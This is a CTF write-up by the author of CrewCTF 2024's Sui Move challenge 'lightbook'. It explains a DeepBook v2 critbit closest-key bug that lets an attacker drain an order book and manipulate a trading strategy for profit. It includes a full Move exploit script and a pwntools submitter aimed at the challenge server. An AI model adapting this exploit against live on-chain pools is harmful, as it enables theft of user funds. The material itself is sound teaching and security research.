I create a sui move challenge in CrewCTF 2024, lightbook.
This is a 1-day challenge of deepbook-v2 based on https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2, which was my interesting finding from the codebase audited by zellic.
Root Cause
Deepbook uses an on-chain orderbook and employs a critbit tree to sort numerous orders.
When you send a query to the tree, it finds the key closest to the one you're searching for using critbit::find_closest_key.
If the tree contains the keys 10, 13, and 15, the key closest to 13 is, naturally, 13.
However, if the tree only contains 10 and 15, what would be the key closest to 13?
This question can extend to clob_v2::get_level2_book_status_{bid, ask}_side.
When we want to query orders between 10 and 15, but the tree lacks entries at 10 and 15, the query will find the closest keys. Let's call these low_closest_key and high_closest_key. For accurate results, the condition 10 <= low_closest_key <= high_closest_key <= 15 must be satisfied.
However, since the code doesn't guarantee this condition, the sparser tree, the greater the discrepancy between actual values and the query results could be.
Solve
bid_book: [1.94, 1.99]
ask_book: [2.01, 2.06]
1. set the ask_price to 2.06 and the bid_price to 2.05
2. run otter_strategy::execute
3. the key closest to 2.00 is 1.99, and the closest one to 2.05 is 2.05, orders of $1.99 would be removed.
4. set the bid_price to 2.05 again and repeat step 2, the closest key to 2.00 becomes 1.98.
Repeating this process will eventually empty the bid_book.
5. set the bid_price to 2.05 and place a bid around 1.88. this makes the closest key to 2.00 become 1.88, causing the otter_strategy to place an ask at 1.88, allowing you to buy at a lower price.
6. sell it back at a higher price using the otter_strategy and repeat steps 5 and 6 for profit.
fun fact) setting the bid_price to 1.94 and the ask_price to 1.95 will be failed due to the structure of the critbit tree.
a = r'''
let lot_size: u64 = 10_000_000;
let decimals: u64 = 1_000_000_000;
let bid: bool = true;
let u64_max: u64 = 18446744073709551615;
let no_restriction: u8 = 0;
let buy_threshold: u64 = 1_950_000_000;
let limit: u64 = 2_000_000_000;
let sell_threshold: u64 = 2_050_000_000;
let crit: u64 = 1_880_000_000;
let base_coin = ctf::get_airdrop_base(storage, 300 * decimals, ctx);
let quote_coin = ctf::get_airdrop_quote(storage, 600 * decimals, ctx);
let pool = ctf::get_mut_pool(storage);
let account_cap: custodian_v2::AccountCap = clob_v2::create_account(ctx);
let amount_hcoin = coin::value(&base_coin);
let amount_cusd = coin::value("e_coin);
let (remaining_hcoin, remaining_cusd) = clob_v2::place_market_order(
pool,
&account_cap,
0,
250 * decimals,
!bid,
coin::split(&mut base_coin, amount_hcoin, ctx),
coin::split(&mut quote_coin, amount_cusd, ctx),
clock,
ctx,
);
coin::join(&mut base_coin, remaining_hcoin);
coin::join(&mut quote_coin, remaining_cusd);
let amount_hcoin = coin::value(&base_coin);
let amount_cusd = coin::value("e_coin);
let (remaining_hcoin, remaining_cusd) = clob_v2::place_market_order(
pool,
&account_cap,
0,
501 * decimals,
bid,
coin::split(&mut base_coin, amount_hcoin, ctx),
coin::split(&mut quote_coin, amount_cusd, ctx),
clock,
ctx,
);
coin::join(&mut base_coin, remaining_hcoin);
coin::join(&mut quote_coin, remaining_cusd);
let amount_hcoin = coin::value(&base_coin);
let amount_cusd = coin::value("e_coin);
clob_v2::deposit_base(pool, base_coin, &account_cap);
clob_v2::deposit_quote(pool, quote_coin, &account_cap);
let i = 0;
//// clear bids
while(i <= 6) {
clob_v2::place_limit_order<HCOIN, CUSD>(
pool,
0,
sell_threshold,
lot_size,
0,
bid,
u64_max,
no_restriction,
clock,
&account_cap,
ctx,
);
otter_strategy::execute(
pool,
vault,
!bid,
clock,
ctx,
);
i = i + 1;
};
let i = 0;
while(i <= 20) {
clob_v2::place_limit_order<HCOIN, CUSD>(
pool,
0,
sell_threshold,
lot_size,
0,
bid,
u64_max,
no_restriction,
clock,
&account_cap,
ctx,
);
let (base_avail, base_locked, quote_avail, quote_locked) = clob_v2::account_balance<HCOIN, CUSD>(pool, &account_cap);
let amt = (((quote_avail as u128) * (decimals as u128) / (crit as u128)) as u64);
clob_v2::place_limit_order<HCOIN, CUSD>(
pool,
0,
crit,
amt - (amt % lot_size),
0,
bid,
u64_max,
no_restriction,
clock,
&account_cap,
ctx,
);
otter_strategy::execute(
pool,
vault,
!bid,
clock,
ctx,
);
let (base_avail, base_locked, quote_avail, quote_locked) = clob_v2::account_balance<HCOIN, CUSD>(pool, &account_cap);
clob_v2::place_limit_order<HCOIN, CUSD>(
pool,
0,
buy_threshold,
lot_size,
0,
!bid,
u64_max,
no_restriction,
clock,
&account_cap,
ctx,
);
let (base_avail, base_locked, quote_avail, quote_locked) = clob_v2::account_balance<HCOIN, CUSD>(pool, &account_cap);
clob_v2::place_limit_order<HCOIN, CUSD>(
pool,
0,
limit,
base_avail - base_avail % lot_size,
0,
!bid,
u64_max,
no_restriction,
clock,
&account_cap,
ctx,
);
otter_strategy::execute(
pool,
vault,
bid,
clock,
ctx,
);
i = i + 1;
};
let (base_avail, base_locked, quote_avail, quote_locked) = clob_v2::account_balance<HCOIN, CUSD>(pool, &account_cap);
let qcoin = clob_v2::withdraw_quote(
pool,
2500 * decimals,
&account_cap,
ctx,
);
ctf::solve(storage, &qcoin);
transfer::public_transfer(account_cap, tx_context::sender(ctx));
transfer::public_transfer(qcoin, tx_context::sender(ctx));
'''
import base64
bdata = base64.b64encode(a.encode('ascii', 'strict')).decode()
from pwn import *
r = remote("lightbook.chal.crewc.tf", 1337)
r.sendlineafter('your solve script using base64 encode:', bdata)
r.interactive()
'writeups' 카테고리의 다른 글
2024 codegate - sms (0) | 2024.09.04 |
---|---|
SekaiCTF 2024 - solana (0) | 2024.08.26 |
HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader) (0) | 2024.07.15 |
justctf2024 teaser (0) | 2024.06.17 |
codegate 2024 quals (0) | 2024.06.03 |